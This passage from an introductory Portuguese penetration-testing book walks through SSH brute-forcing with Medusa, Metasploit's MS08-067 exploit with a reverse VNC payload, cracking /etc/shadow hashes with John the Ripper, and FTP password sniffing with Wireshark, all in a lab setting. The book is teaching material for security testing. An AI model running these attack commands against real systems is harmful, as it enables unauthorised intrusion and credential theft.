nível de controle sobre o sistema alvo. Evidentemente, o objetivo principal é
obter acesso de nível de administrador no sistema alvo, entretanto, nem todas
a falhas permitem isso.
Nas próximas seções analisaremos uma técnica conhecida como “força
bruta” para acessar serviços remotos e um framework capaz de explorar
vulnerabilidades específicas nos sistemas alvo.
 
Acessando serviços remotos
 
Diversos tipos de serviço possibilitam o acesso remoto. SSH, Telnet e FTP
são alguns exemplos. Portanto, se no escaneamento de vulnerabilidades for
detectada alguma falha em serviços como estes, já se tem um foco de
exploração de vulnerabilidade.
O passo seguinte é a utilização de softwares capazes de tentar login
utilizando uma vasta lista de combinações de senhas e nomes de usuários.
Trata-se de uma técnica de “força bruta” realizada por softwares que
interagem diretamente com um serviço (Telnet, SSH, etc).
No primeiro capítulo vimos como obter informações sobre o alvo. Se
naquele momento você coletou alguns logins de usuário, incluir estas
informações no software de “força bruta” aumentará o potencial de sucesso
desta etapa.
O software que usaremos será o Medusa. Para instalá-lo, basta digitar:
 
apt-get install medusa
 
A linha de comando a seguir traz um exemplo do uso do Medusa.
 
medusa -h 10.0.0.105 -u rh -P Downloads/passwords.txt -M ssh
 
Neste exemplo, o alvo escolhido é o host com IP 10.0.0.105, identificado
pela opção -h. O nome de usuário é rh (o processo de descobertas de
usuários foi apresentado no primeiro capítulo).
A opção -P informa ao Medusa que será utilizado um arquivo contendo
uma lista de palavras com possíveis senhas, mais conhecido como dicionário
de senhas. O arquivo neste exemplo está localizado na pasta Downloads e se
chama passwords.txt. Diversos dicionários de senha podem ser encontrados
na internet.
Por fim é fornecido o nome do serviço a ser atacado, cuja vulnerabilidade
pode ser descoberta conforme conteúdo do capítulo anterior. Neste caso, o
serviço atacado será o ssh.
Como o dicionário de senhas possui mais de dois milhões de palavras,
exibir todo o processo de busca pela senha seria inviável neste texto.
Portanto, para este exemplo, alterei o arquivo e incluí nas primeiras linhas a
sequência de palavras: sistema, sistema1, sistema2, sistema12, sistema3,
sistema123. Esta última palavra é a senha do usuário rh.
A figura a seguir exibe o resultado do comando.
 
 
A cada linha é informada senha testada, e na última linha consta a
mensagem “Account Found” (conta encontrada). Ao fim desta linha constam
a senha e a mensagem “Success”.
Parabéns, você realizou a primeira invasão, partindo da coleta de
informações (quando descobriu o IP do computador e uma conta de usuário),
passando pela busca portas abertas, busca de vulnerabilidades e, finalmente,
explorando uma vulnerabilidade.
Acredito que foi bastante gratificante ter chegado até aqui.
 
Utilizando um Framework
 
Nesta seção utilizaremos o framework Metasploit, que contém ferramentas
com diversas funções, sendo flexível e eficiente para exploração de falhas.
Segundo Weidman (2014), esta ferramenta é um padrão de mercado para os
profissionais de segurança em testes de invasão.
O Metasploit possui uma arquitetura modular e flexível, é intuitivo e fácil
de usar. Esta ferramenta possui uma grande variedade de payloads
(funcionalidades ou mudanças de comportamento que se deseja induzir no
host alvo, como abertura de backdoors, criação de usuários e instalação de
softwares) implementados e está em constante atualização. Portanto, o uso
desta ferramenta poupa o profissional de segurança de implementar
programas para testar falhas de segurança (a estes programas damos o nome
de exploits).
O Metasploit pode ser baixado do site www.metasploit.com. Após a
instalação, para iniciar o software, digite:
 
msfconsole
 
Ao ser iniciado o Metasploit apresenta uma tela de boas vindas e o prompt
msf>, conforme exibido na figura a seguir.
http://www.metasploit.com/
 
 
 
 
 
A cada vez que o software é inicializado, uma nova imagem de
apresentação é exibida. Portanto não se preocupe se a imagem que obtiver for
diferente desta.
Nesta figura podemos notar que a versão utilizada, 4.11.4, possui 1470
exploits e 432 payloads. Evidentemente este número tende a crescer à medida
que o software é atualizado.
Para ter acesso a lista de comandos disponíveis no Metasploit, digite help.
A figura a seguir exibe parte dos comandos listados.
 
Pode-se também ver informações mais detalhadas sobre um comando
específico:
 
help <nome do comando>
 
Para utilizar este software, é necessário definir um alvo, um exploit (bloco
de código que explora uma vulnerabilidade) e um payload.
Com base nas vulnerabilidades descobertas pelo Nessus ou outro software
similar, pode-se pesquisar pelos respectivos exploits disponíveis no
Metaploit.
Por exemplo, uma vulnerabilidade crítica encontrada pelo Nessus em uma
versão do Windows é a de código MS09-001. O Nessus dá informações mais
detalhadas sobre esta vulnerabilidade e a descrição do exploit é fornecida
pelo Metasploit através do comando:
 
search ms09-001
 
Como resultados temos as linhas abaixo:
 
 
Além do nome e descrição do exploit, é informada uma classificação
(Rank). Esta classificação indica a confiabilidade do exploit, ou seja, a chance
de sucesso do mesmo sem causar instabilidades no sistema alvo (o que faria
com que seu exploit pudesse ser descoberto).
Um exploit pode ser classificado em:
 
Manual
Low (baixo)
Average (médio)
Normal
Good (bom)
Great (ótimo)
Excelent (excelente)
 
Pode-se também realizar uma pesquisa para ver os exploits mais recentes,
bastando informar o ano atual.
 
Search 2015
 
Para obter maiores informações de um exploit, basta usar o comando info.
 
info auxiliary/dos/windows/smb/ms09_001_write
 
A seguir são exibidas as informações apresentadas por este comando.
As informações apresentadas são:
 
Nome descritivo do exploit;
Nome do módulo de Metasploit relacionado a este exploit;
Tipo de licença do Metasploit;
Classificação do potencial impacto do exploit no alvo;
Autor do exploit;
Opções básicas que devem ser configuradas para o funcionamento
do exploit. Neste exemplo deve-se configurar o endereço IP do alvo
(RHOST) e a porta do serviço a ser explorado (RPORT);
Descrição com maiores detalhes sobre o exploit;
Nas referências são disponibilizados links sobre a vulnerabilidade
explorada pelo exploit;
 
Agora vamos selecionar um exploit digitando o comando use seguido do
nome do exploit. Utilizaremos outra vulnerabilidade neste momento: 
MS08_067.
 
use exploit/windows/smb/ms08_067_netapi
 
Após este comando, o prompt do Metasploit foi alterado:
 
msf exploit(ms08_067_netapi) >
 
O próximo passo é verificar os payloads disponíveis compatíveis com o
exploit:
 
show payloads
 
A seguir são exibidos alguns dos payloads deste exemplo.
 
 
Evidentemente, a lista é mais extensa do que o exibido na figura. Mas já é
suficiente para observarmos que o nome das payloads contém uma breve
indicação de sua função, cuja descrição é exibida na última coluna.
Para selecionar um payload basta digitar o comando set payload seguido
do nome do payload.
 
set payloadwindows/speak_pwned 
 
O payload selecionado apenas reproduz a mensagem "You Got Pwned!".
Embora seja pouco relevante e útil na prática, até mesmo porque anuncia a
invasão, não deixa de ser um payload divertido e aplicável como um primeiro
exemplo.
Os payloads necessitam de alguma configuração. Digite o comando
abaixo para visualizar as opções.
 
show options
 
As opções são exibidas a seguir:
 
Note que a opção RHOST (cuja descrição indica que se trata do endereço
do alvo) não está configurada. Informe o IP do alvo conforme o comando:
 
set RHOST 10.0.0.106
Por fim, execute o exploit:
 
exploit
 
Pode não ter sido a maior invasão da história, mas deve ter sido divertido
ouvir a mensagem no host alvo.
Vamos utilizar outro exemplo, um mais útil na prática. Selecione o
payload abaixo:
 
set payload windows/vncinject/reverse_tcp
 
Este payload instala o VNC (software que permite o controle remoto de
um computador) no alvo e faz com que o alvo se conecte de volta ao host que
iniciou a invasão. Para este payload funcionar, o VNC deve estar instalado no
seu computador.
Novamente verifique as configurações do payload.
 
show options
 
Agora são duas configurações necessárias: RHOST e LHOST. A opção
LHOST informa o host local, ou seja, o computador que você está utilizando
para realizar a invasão.
 
Configure estas opções com os comandos abaixo (evidentemente os
endereços IP poderão ser diferentes em seu teste):
 
set RHOST 10.0.0.106
set LHOST 10.0.0.101
set ViewOnly false
 
Por fim, inicie o exploit.
 
exploit
 
Aguarde alguns segundos e divirta-se tendo controle total sobre o host
alvo. A figura abaixo mostra uma sessão VNC do computador remoto.
 
 
Recomendo que experimente outros exploits e payloads, cujas descrições
podem ser encontradas na documentação do Metasploit.
Cracking de Senhas
 
Seguindo os passos anteriores é possível realizar um teste de invasão
relativamente bem sucedido. Entretanto, ainda podem-se encontrar
dificuldades como acesso a uma conta de poucos direitos no sistema alvo. Em
situações como essas, técnicas de cracking de senhas são bastantes úteis.
A maioria dos sistemas armazena as senhas em versões criptografadas
chamadas de hash. Ou seja, quando o usuário digita uma senha, o sistema
aplica um algoritmo de criptografia e a transforma em uma sequencia de
caracteres e números aparentemente aleatórios.
O simples acesso a um hash é pouco útil pois o mesmo não é reconhecido
como a senha do usuário e tão pouco é possível para um ser humano abstrair
a senha a partir do hash.
É importante diferenciar um cracking de senha de outros métodos de força
bruta, apesar de ambos consistirem em sequencias de tentativas e erros. Estes
últimos apenas consistem uma série de tentativas de login no sistema alvo a
partir de um dicionário de palavras, sem envolver processos de criptografia.
O cracking de senha envolve a criptografia de diversas palavras em hashs,
seguida da comparação com as hashes armazenadas em um arquivo de senhas
criptografadas. Caso a hash de alguma palavra gerada pelo software seja a
mesma do arquivo de senhas, a palavra em questão é uma senha válida no
sistema alvo.
Para utilizar um cracker de senha deve-se obter o arquivo de hashes de
senha do sistema alvo. Embora este procedimento possa ser feito
remotamente, o cracking local além de ter melhor performance, é mais
didático para uma primeira tentativa.
Antes de iniciarmos nosso exemplo, baixe e instale o cracker de senha
John the Ripper, que está disponível no site www.openwall.com/john. No
Ubuntu, para instalar o software, basta digitar o comando:
 
apt-get install john
 
Suponha que nosso sistema alvo seja um ambiente Linux. No Linux as
hashes de senha criptografadas ficam no arquivo /etc/shadow, enquanto no
arquivo /etc/passwd ficam armazenados os dados dos usuários. O arquivo
/etc/shadow é restrito a usuários privilegiados. Portanto, a menos que você
tenha acesso a uma conta privilegiada, terá que acessar o arquivo fazendo um
boot com CD, DVD ou pendrive com Linux instalado e montando a partição
onde o arquivo se encontra (neste momento são necessários conhecimentos
intermediários de Linux).
Uma vez tendo obtido acesso a ambos os arquivos, digite o comando:
 
http://www.openwall.com/john
unshadow /etc/passwd /etc/shadow > hashes.txt
Este comando, que integra o John the Ripper, combina as informações de
usuários com suas senhas criptografadas em um único arquivo, que neste
caso se chama hashes.txt.
O próximo passo é utilizar o cracker sobre o arquivo criado:
 
john hashes.txt
 
A execução deste comando levará um bom tempo. Você pode pressionar
qualquer tecla para exibir informações sobre sua execução. A medida que
senhas forem sendo quebradas, o software exibe a senha seguida do nome do
usuário entre parênteses.
A qualquer momento a execução do john pode ser interrompida, basta
teclar Ctrl+C. Entretanto, ao reexecutar o programa, ele retomará o processo
a partir do ponto onde parou.
Para exibir quais senhas o john já quebrou, basta digitar:
 
john -- show hashes.txt
 
A figura a seguir exibe o resultado apresentado pelo john.
 
 
A cada linha é exibido o nome do usuário seguido de sua senha. As
demais informações são provenientes do arquivo /etc/passwd. Note que
usuário fabricio tinha a senha fabricio. O usuário teste tinha como senha
admin. E o usuário teste1 tinha como senha password. Nenhuma delas foi
muito original, o que facilitou a “vida” do john neste exemplo.
Se seu sistema alvo for um Windows, o arquivo em questão se chama
SAM e estará no diretório C:\Windows\System32\Config. Como medida de
segurança o arquivo é bloqueado pelo sistema operacional. Portanto, para ter
acesso a ele, novamente será necessário fazer um boot utilizando um CD,
DVD ou pendrive com Linux instalado, montar a partição onde o Windows
está instalado. Neste caso também será necessário usar a ferramenta chamada
Samdump2 para extrair as hashes.
É interessante ter seu próprio dicionário de senhas. Adicione ao dicionário
que você obteve (que provavelmente é baseado na língua inglesa) palavras
chaves comuns à sua cultura local, regional e nacional. A partir da coleta de
informações, também é possível ter algumas ideias de possíveis palavras
utilizadas como senhas. Dessa forma seu dicionário será dinâmico e cada vez
mais eficiente.
 
Sniffing de Tráfego de Rede
 
A todo instante a placa de rede de seu computador recebe inúmeros
pacotes que podem ser endereçados ao seu computador ou a outros
computadores. Isto ocorre principalmente em ambientes de rede sem fio ou
em redes que usam hubs (dispositivos de rede que apenas distribuem todo o
tráfego em suas portas físicas).
Normalmente as placas de rede descartam os pacotes não endereçados a
elas e repassam para a CPU os pacotes endereçados ao computador.
Entretanto, pode-se fazer com que a placa de rede opere em modo
“promíscuo” aceitando todos os pacotes que a ela chegarem. Aí entra o
sniffing de tráfego de rede.
 Sniffing de tráfego de rede consiste em capturar e visualizar pacotes que
trafegam pela rede. Esta técnica tira proveito de protocolos que não utilizam
criptografia de dados, ou seja enviam dados em forma de texto simples e
legível.
Nesta seção utilizaremos o software Wireshark, que é uma das mais
simples e eficientes ferramentas de sniffing (Engebretson, 2014). Trata-se de
um analisador de protocolos de rede com interface gráfica, nos permitindo
visualizar detalhes dos pacotes trafegando na rede.
Ele é capaz de capturar tráfego Ethernet, wireless, Bluetooh e outros. Com
ele é possível, inclusive, “grampear” uma chamada telefônica feita por VoIP
(Voz sobre IP).
Este software pode ser baixado do site www.wireshark.org, ou instalado
no Ubuntu através do comando:
 
apt-get install wireshark
 
Após ser iniciado, as interfaces de rede disponíveis aparecem já na tela
inicial. Escolha a interface que desejar utilizar,conforme exibido a seguir:
 
Caso nenhuma interface esteja disponível, provavelmente o usuário sendo
utilizado não possui acesso às placas de rede. Mas atenção: não é
recomendável utilizar o Wireshark como root.
http://www.wireshark.org/
Ao invés disso execute os comandos abaixo. Estes comandos criarão o
grupo wireshark, incluirão seu usuário no grupo e darão os acessos
necessários para o Wireshark funcionar normalmente.
 
sudo groupadd wireshark
sudo usermod -a -G wireshark $USER
sudo chgrp wireshark /usr/bin/dumpcap
sudo chmod 755 /usr/bin/dumpcap
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
 
 
Na figura exibida anteriormente, acima das interfaces de rede, há a opção
Start. Ao clicar nesta opção, o Wireshark irá começar a trabalhar com as
opções padrões do software. Neste texto introdutório, não nos preocuparemos
em analisar as diversas opções existentes.
Rapidamente a tela do Wireshark será inundada de pacotes, conforme a
figura abaixo.
Não se preocupe toda essa informação pode ser salva e analisada com
calma. Pode-se ainda filtrar os protocolos ou expressões que se deseja
procurar.
Para tornar didático este primeiro contato com o Wireshark, façamos uma
experiência com o protocolo ftp. Digite ftp no campo filter e clique em Apply.
Isto fará com que apenas pacotes ftp sejam exibidos.
Em seguida, utilizando um terminal, acesse um servidor ftp. Caso não
tenha nenhum instalado, utilize um servidor disponível na internet. O
comando é simples:
 
ftp NOME_OU_IP_DO_SERVIDOR
 
Tente fazer login, fornecendo um usuário e uma senha qualquer.
Provavelmente sua conexão será recusada, mas a tentativa servirá para nosso
exemplo.
Em seguida volte ao Wireshark. Você terá uma visão parecida com esta.
 
Note que, na quarta linha, o nome do usuário e a senha aparecem
claramente escritas no pacote, isto porque o ftp não faz criptografia de seus
pacotes. Se o usuário “fabricio” e a senha “senha” fossem válidos, você já
teria acesso ao servidor ftp cujo IP está exibido na primeira linha.
A partir deste exemplo é possível aprofundar-se no uso do Wireshark.
Tente filtrar outros serviços ou protocolos e se surpreenderá com a
quantidade de informação não criptografada que pode trafega por uma rede.
 
Conclusão
 
A prática de testes de invasão pode ser uma experiência desafiadora, às
vezes frustrante, normalmente consome muito tempo de dedicação, mas é
gratificante a cada sucesso.
Nos exemplos deste livro, frequentemente utilizamos máquinas virtuais
por questão de praticidade (é mais fácil instalar, reiniciar, reconfigurar,
duplicar e “destruir” uma máquina virtual). Num próximo passo em suas
práticas, instale um alvo remoto vulnerável e realize diversos testes (sistemas
operacionais mais antigos e sem atualização são alvos iniciais interessantes).
À medida que os sucessos se tornarem um lugar comum, torne os testes
mais desafiadores. Tente corrigir as vulnerabilidades do alvo, instale um
firewall, atualize o sistema operacional, opte por sistemas operacionais mais
seguros, etc.
Após concluir um teste de invasão é importante adicionar à catalogação,
iniciada no primeiro passo, um relatório com as falhas encontradas e ações
necessárias para corrigi-las. Estas informações serão úteis a você em
consultas futuras e ao responsável pelo sistema alvo, principal interessado em
torná-lo mais seguro.
Ao gerar um relatório, pense em ser organizado e esclarecedor. Divida-o
em seções. Faça um sumário. Faça uma introdução em que descreva como o
teste foi efetuado e com que objetivos. Em uma seção específica relate as
falhas encontradas mencionando softwares, protocolos, portas, etc (utilize
informações dos relatórios gerados pelas ferramentas que utilizou – Nessus,
Nmap, Metasploit, e outros).
Finalize deixando claro que o sistema alvo não foi comprometido e se
disponha a prestar maiores informações (caso esteja apresentando a um
cliente em potencial).
Mas lembre-se que nem sempre o leitor deste relatório possui tantos
conhecimentos técnicos quanto você. Portanto, tente ser didático.
Este último passo pode não só potencializar um possível emprego na área
de Segurança da Informação, mas também demonstrar sua capacidade e
credibilidade como consultor independente nesta área. De uma forma ou de
outra, um relatório bem escrito lhe abrirá portas no mercado.
Por falar em mercado, a área de segurança tem diversas especializações. A
seguir, seguem algumas dessas especializações:
 
Segurança de aplicações web;
Segurança ofensiva (que foi a especialização explorada neste livro);
Engenharia reversa;
Análise de malwares;
Técnicas forenses digitais;
Segurança wireless.
Antes de finalizarmos, é importante lembrar que o resultado de um teste
de invasão, por mais criterioso que tenha sido, é apenas uma fotografia tirada
em um dado momento. Em outras palavras, um sistema que se mostrou
seguro, ou parcialmente seguro, em um teste, pode vir a apresentar falhas
num futuro próximo. Isto por que os softwares são dinâmicos.
Frequentemente novas falhas são descobertas e novas atualizações e políticas
de seguranças são necessárias.
 
Referências Bibliográficas
 
ENGEBRETSON, Patrick. Introdução ao Hacking e aos Testes de
Invasão: facilitando o hacking ético e os testes de invasão. São Paulo:
Novate, 2014.
 
HOGLUND, Greg; MCGRAW, Gary. Como Quebrar Códigos: a arte de
(explorar e proteger) software. São Paulo: Pearson, 2006.
 
MOELLER, Jonathan. The Ubuntu Beginner's Guide. Reno:
LLC/Amazon, 2012. 6 ed.
 
MOTA, FILHO, João Eriberto. Descobrindo o Linux: entenda o sistema
operacional GNU/Linux. São Paulo: Novatec, 2012. 3 ed.
 
THOMAS, Keir. Linux Nitty Gritty: Working at the Uuntu 
Command-Line Prompt. McFreda/Amazon, 2011.
 
VALLE, Odilson Tadeu. Administração de redes com linux:
fundamentos e práticas. Florianópolis: Publicações do IF-SC, 2010.
 
WEIDMAN, Georgia. Testes de Invasão: uma introdução prática ao
hacking. São Paulo: Novatec, 2014.
 
Livros Publicados na Amazon
 
 
Estaticópolis - Um jeito novo de aprender Estatística
 
Este livro não apresenta um conteúdo de forma linear, nem é recheado de
fórmulas, teorias e conceitos. Estaticópolis é uma ficção, e como toda ficção,
busca ser divertida e envolvente. Neste livro, o leitor encontrará diversas
analogias das estatísticas presentes em seu cotidiano (em noticiários,
pesquisas eleitorais, campanhas publicitárias, relações comerciais, etc) e
aprenderá a analisá-las em suas entrelinhas. .
 
 
Um livro útil para estudantes e profissionais de diversas áreas, com ou sem
conhecimento prévio de Estatística.
 
Estatística Básica para Processos Produtivos
 
Estatística não é só a arte de fazer os números falarem, mas de fazer os
números falarem a verdade. Isso só é possível mediante um rigoroso processo
estatístico composto por vários detalhes importantes: escolha e organização
de dados, extração de suas medidas, análise de inferências, criação e
interpretação dos gráficos. Este livro apresenta uma série de ferramentas
estatísticas (técnicas de amostragem, medidas de tendência central e
dispersão, gráficos e análise de regressão), com exemplos voltados para
produção, porém aplicáveis a qualquer área que exija coleta e organização de
dados, apresentação e interpretação de informações.
 
Design de Logomarcas com Inkscape: Aprenda desenhar e analisar
logomarcas
 
Este livro busca cobrir uma lacuna deixada pelos livros tradicionais da área,
que muitas vezes excedem na linguagem técnica, tornando o aprendizado
maçante e difícil. Utilizando uma linguagem que consiste em um diálogo
contínuo com o leitor, este livro une o aprendizado de desenho de logomarcas
com o uso do Inkscape,
 
Ainda que inclua análises de logomarcas de estúdios e designers consagrados
internacionalmente, este livro não é voltado apenas a profissionais da área de
logomarcas. As técnicas utilizadas aqui servem para vários tipos de artes
gráficas.
 
Este é o primeiro livro de uma série de volumes que incluirão logomarcasde
complexidade crescente.
 
Tratando Imagens com GIMP: Aprendizado com Projetos Curtos e Didáticos
 
Assim como o livro sobre Inkscape, este livro também busca cobrir uma
lacuna deixada pelos livros tradicionais da área, que muitas vezes se excedem
na linguagem técnica, tornando o aprendizado maçante e difícil. Com uma
linguagem informal, como se dialogasse com o leitor, este livro apresenta, de
forma didática, técnicas úteis para tratar fotos tiradas sob diversas
circunstâncias, obtendo muitas vezes efeitos divertidos e/ou inusitados.
 
Este é o primeiro livro de uma série de volumes que incluirão técnicas de
tratamento de imagens de complexidade crescente.
 
 
Introdução aos Testes de Invasão: Técnicas de ataque para melhorar suas
defesas
 
Este livro tem como objetivo ser um texto introdutório a interessados em
hacking e testes de invasão. A intenção deste livro, ao promover um conteúdo
de hacking e testes de invasão, vai ao encontro da necessidade de se conhecer
as técnicas de invasão para se adotar medidas de prevenção à invasão. Em
outras palavras: para se defender é preciso conhecer as técnicas e ferramentas
de ataque, ou seja, segurança ofensiva.
O conteúdo deste livro não exige que o leitor tenha experiência anterior em
testes de invasão. Porém é importante que o leitor tenha um domínio básico
de Linux, preferencialmente da distribuição Ubuntu e conhecimentos de
básicos de redes de computadores.
Ubuntu em Linha de Comando: Operação e Administração Eficiente do
Ubuntu Linux
 
Texto introdutório e didático sobre operação e administração de sistemas
Linux através de linha de comando. Apesar de ser um livro introdutório, seu
conteúdo pode ser útil para usuários com diferentes níveis de conhecimento
no sistema operacional Linux.
 
O olho e outros contos insólitos
 
"O olho e outros contos insólitos" recebeu menção honrosa no XI Livraria
Asabeça Prêmio Literário 2012.
 
O livro traz três contos irreais, embora verossímeis, em que o improvável é
apresentado com extrema naturalidade. O primeiro conto "O Olho", traz uma
narrativa surreal, em que duas pessoas desconhecidas, em partes opostas do
planeta, compartilham involuntariamente suas visões, fazendo-as questionar
suas sanidades.
 
O segundo conto, "Réplicas", é uma história de suspense. Tudo começa com
um sensação de dor no meio da noite. Uma pequena perfuração que não
coagula. E estranhas aparições e acontecimentos que fazem uma família
questionar a realidade.
 
O terceiro conto, "Maquinários", traz uma história futurista, numa época que
o homem existe apenas como fonte de inspiração para formas de vida
autômatas em uma Terra desfigurada. Neste cenário, um robô concebido para
um fatídico propósito, e com um virtuoso defeito, passa a enfrentar toda a
ordem e desordem que o cerca, tentando resgatar o que resta da humanidade.
 
Estações marítimas o retorno ao continente
 
Em um futuro relativamente distante, o planeta Terra estava dividido em duas
grandes alianças (a aliança dos países ocidentais e a aliança dos países
orientais) quando eclodiu uma grande guerra pelo domínio do planeta. Guerra
que durou vários anos e, quando estava prestes a ser vencida, foi utilizada
uma arma biológica devastadora pela aliança cuja derrota era iminente. Uma
bactéria altamente transmissível que, dentre seus sintomas, ataca o sistema
nervoso do homem e o transforma em uma criatura descontrolada e letal.
 
A humanidade foi praticamente banida dos continentes. Os poucos
sobreviventes se aglomeraram e se mataram por um espaço nas embarcações
de evacuação para estações marítimas. Porém, o que parecia ser a salvação se
transformou em um novo pesadelo. Os sobreviventes desta catástrofe,
confinados fora de seu habitat natural, passaram a sofrer com as dificuldades
de adaptação e escassez de recursos. A extinção do homem era iminente.
A última esperança da humanidade seria uma tentativa desesperada de
reconquistar os continentes. Foi criada uma força tarefa cuja missão seria
retoma-los. Missão esta que escondia vários segredos. Ao chegar em terra
firme, uma inconveniente verdade veio à tona. Surgindo aí um novo inimigo,
uma intriga militar tão ou mais mortal que a bactéria e as pessoas
contaminadas.
 
Gonecity
 
De repente, uma cidade inteira isolada. Seria possível? Algo indestrutível. De
origem não conhecida. O planeta inteiro está lá. Para libertá-la. Mas, sob os
olhos de todos, a cidade simplesmente some, deixando apenas uma imensa e
precisa cratera. Nesta cidade, onde que que ela esteja agora, quatro pessoas
unidas pelo acaso partem em busca de um meio de voltar para casa, ou, pelo
menos, de respostas. Respostas que desafiarão a lógica, o tempo, a ciência e a
suas próprias vidas.
 
Outrora e outros contos insólitos
Contos irreais, mas verossímeis. Fatos impossíveis, mas imagináveis. As
regras do mundo que conhecemos são questionadas nestes três contos
insólitos.
O primeiro conto, Outrora, narra um fenômeno natural incompreensível pela
ciência atual, mas que afetará para sempre a vida na Terra. Um fenômeno
capaz de colocar em cheque a noção de vida ou morte. Capaz de botar em
cheque saberes axiomáticos como a lei da gravidade e a lei de Lavoisier.
O segundo conto, O Olho, traz uma narrativa surreal, em que duas pessoas
desconhecidas, em partes opostas do planeta, compartilham
involuntariamente suas visões, fazendo-as questionar suas sanidades.
O terceiro conto, Oceano Morto, narra outro fenômeno inexplicável pela
ciência. Mas neste conto, a ciência não terá oportunidade de estudá-lo.
Repentinamente os oceanos se convertem numa matéria desconhecida, de
cor, cheiro e constituição irreconhecíveis. Esta matéria consumirá a Terra aos
poucos e levará a humanidade a ações extremas de uma improvável
sobrevivência. O quarto conto, "Réplicas", é uma história de suspense. Tudo
começa com um sensação de dor no meio da noite. Uma pequena perfuração
que não coagula. E estranhas aparições e acontecimentos que fazem uma
família questionar a realidade.
 
Transgenia: uma nova espécie está surgindo
Um lugar remoto. Esquecido. Condenado por poluentes de indústrias
desativadas. Uma pequena população é surpreendida por um submarino de
origem desconhecida, trazendo consigo uma tecnologia capaz de alterar o
genoma humano. Um conflito global explode naquele pacato local quando
forças especiais são enviadas para lidar com a ameaça e se deparam com um
garoto com particularidades mentais que o tornam imune à perigosa
tecnologia.
Teorias conspiratórias, ameaças terroristas, armas biológicas e conflitos
militares permeiam esta trama em época e local indefinidos.
	Introdução
	Coleta de Informações
	Clonagem de Sites
	Diretivas Google
	Obtendo Endereços de e - mail
	Whois e NetCraft
	Nslookup
	Escaneando Portas Abertas e Serviços
	Ping
	Escaneando Portas
	Escaneando Vulnerabilidades
	Explorando Vulnerabilidades
	Acessando serviços remotos
	Utilizando um Framework
	Cracking de Senhas
	Sniffing de Tráfego de Rede
	Conclusão

Continue navegando